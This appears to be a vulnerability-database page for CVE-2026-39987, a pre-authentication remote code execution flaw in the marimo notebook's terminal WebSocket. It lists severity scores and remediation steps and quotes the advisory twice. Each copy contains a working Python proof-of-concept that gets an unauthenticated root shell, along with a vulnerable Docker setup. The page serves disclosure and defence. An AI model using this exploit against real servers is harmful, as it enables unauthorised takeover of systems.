CVE-2026-39987

criticalpriority · act · 90OT risk · criticalKEV · exploitedEPSS 0.996 · 100 %ileexploit · PoCEURUUS
grimoire priorityP0 · Act now
Exploitable?
Yes · in the wild
CISA KEV · 30 exploits · PoC
Likely / severe?
99.6% (100th) EPSS
CVSS 9.8 · critical
Is it mine?
4 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · osv

added 2026-04-23remediate by 2026-05-07

required action Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

EPSS · scored 2026-10-25

Marimo Remote Code Execution Vulnerability

marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.8
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 3.9 · impact 5.9
v3.19.8criticalAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: active · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

exploits (30)

Public proof-of-concept and weaponised exploit code.

05

affected products (4)

Products and version ranges known to be affected.

06

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-2679-6mx9-h9xcMarimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass2026-04-08ghsa · osvUS

    ## Summary Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. ## Affected Versions Marimo <= 0.20.4 ## Vulnerability Details ### Root Cause: Terminal WebSocket Missing Authentication `marimo/_server/api/endpoints/terminal.py` lines 340-356: ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) if app_state.mode != SessionMode.EDIT: await websocket.close(...) return if not supports_terminal(): await websocket.close(...) return # No authentication check! await websocket.accept() # Accepts connection directly # ... child_pid, fd = pty.fork() # Creates PTY shell ``` Compare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82): ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) validator = WebSocketConnectionValidator(websocket, app_state) if not await validator.validate_auth(): # Correct auth check return ``` ### Authentication Middleware Limitation Marimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls. The `/terminal/ws` endpoint has neither a `@requires("edit")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active. ### Attack Chain 1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed) 2. `websocket.accept()` accepts the connection directly 3. `pty.fork()` creates a PTY child process 4. Full interactive shell with arbitrary command execution 5. Commands run as root in default Docker deployments A single WebSocket connection yields a complete interactive shell. ## Proof of Concept ```python import websocket import time # Connect without any authentication ws = websocket.WebSocket() ws.connect('ws://TARGET:2718/terminal/ws') time.sleep(2) # Drain initial output try: while True: ws.settimeout(1) ws.recv() except: pass # Execute arbitrary command ws.settimeout(10) ws.send('id\n') time.sleep(2) print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root) ws.close() ``` ### Reproduction Environment ```dockerfile FROM python:3.12-slim RUN pip install --no-cache-dir marimo==0.20.4 RUN mkdir -p /app/notebooks RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py WORKDIR /app/notebooks EXPOSE 2718 CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."] ``` ### Reproduction Result With auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely: ``` $ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname" [+] No auth needed! Terminal WebSocket connected [+] Output: uid=0(root) gid=0(root) groups=0(root) root ddfc452129c3 ``` ## Suggested Remediation 1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()` 2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints 3. Terminal functionality should only be available when explicitly enabled, not on by default ## Impact An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

  • PYSEC-2026-407Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass2026-06-29vendor · osvUS

    ## Summary Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. ## Affected Versions Marimo <= 0.20.4 ## Vulnerability Details ### Root Cause: Terminal WebSocket Missing Authentication `marimo/_server/api/endpoints/terminal.py` lines 340-356: ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) if app_state.mode != SessionMode.EDIT: await websocket.close(...) return if not supports_terminal(): await websocket.close(...) return # No authentication check! await websocket.accept() # Accepts connection directly # ... child_pid, fd = pty.fork() # Creates PTY shell ``` Compare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82): ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) validator = WebSocketConnectionValidator(websocket, app_state) if not await validator.validate_auth(): # Correct auth check return ``` ### Authentication Middleware Limitation Marimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls. The `/terminal/ws` endpoint has neither a `@requires("edit")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active. ### Attack Chain 1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed) 2. `websocket.accept()` accepts the connection directly 3. `pty.fork()` creates a PTY child process 4. Full interactive shell with arbitrary command execution 5. Commands run as root in default Docker deployments A single WebSocket connection yields a complete interactive shell. ## Proof of Concept ```python import websocket import time # Connect without any authentication ws = websocket.WebSocket() ws.connect('ws://TARGET:2718/terminal/ws') time.sleep(2) # Drain initial output try: while True: ws.settimeout(1) ws.recv() except: pass # Execute arbitrary command ws.settimeout(10) ws.send('id\n') time.sleep(2) print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root) ws.close() ``` ### Reproduction Environment ```dockerfile FROM python:3.12-slim RUN pip install --no-cache-dir marimo==0.20.4 RUN mkdir -p /app/notebooks RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py WORKDIR /app/notebooks EXPOSE 2718 CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."] ``` ### Reproduction Result With auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely: ``` $ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname" [+] No auth needed! Terminal WebSocket connected [+] Output: uid=0(root) gid=0(root) groups=0(root) root ddfc452129c3 ``` ## Suggested Remediation 1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()` 2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints 3. Terminal functionality should only be available when explicitly enabled, not on by default ## Impact An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

07

also known as (7)

Other names and identifiers for this entity.

08

sources

Which sources assert this record, and when.

published 2026-04-09modified 2026-06-17
09

references (13)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan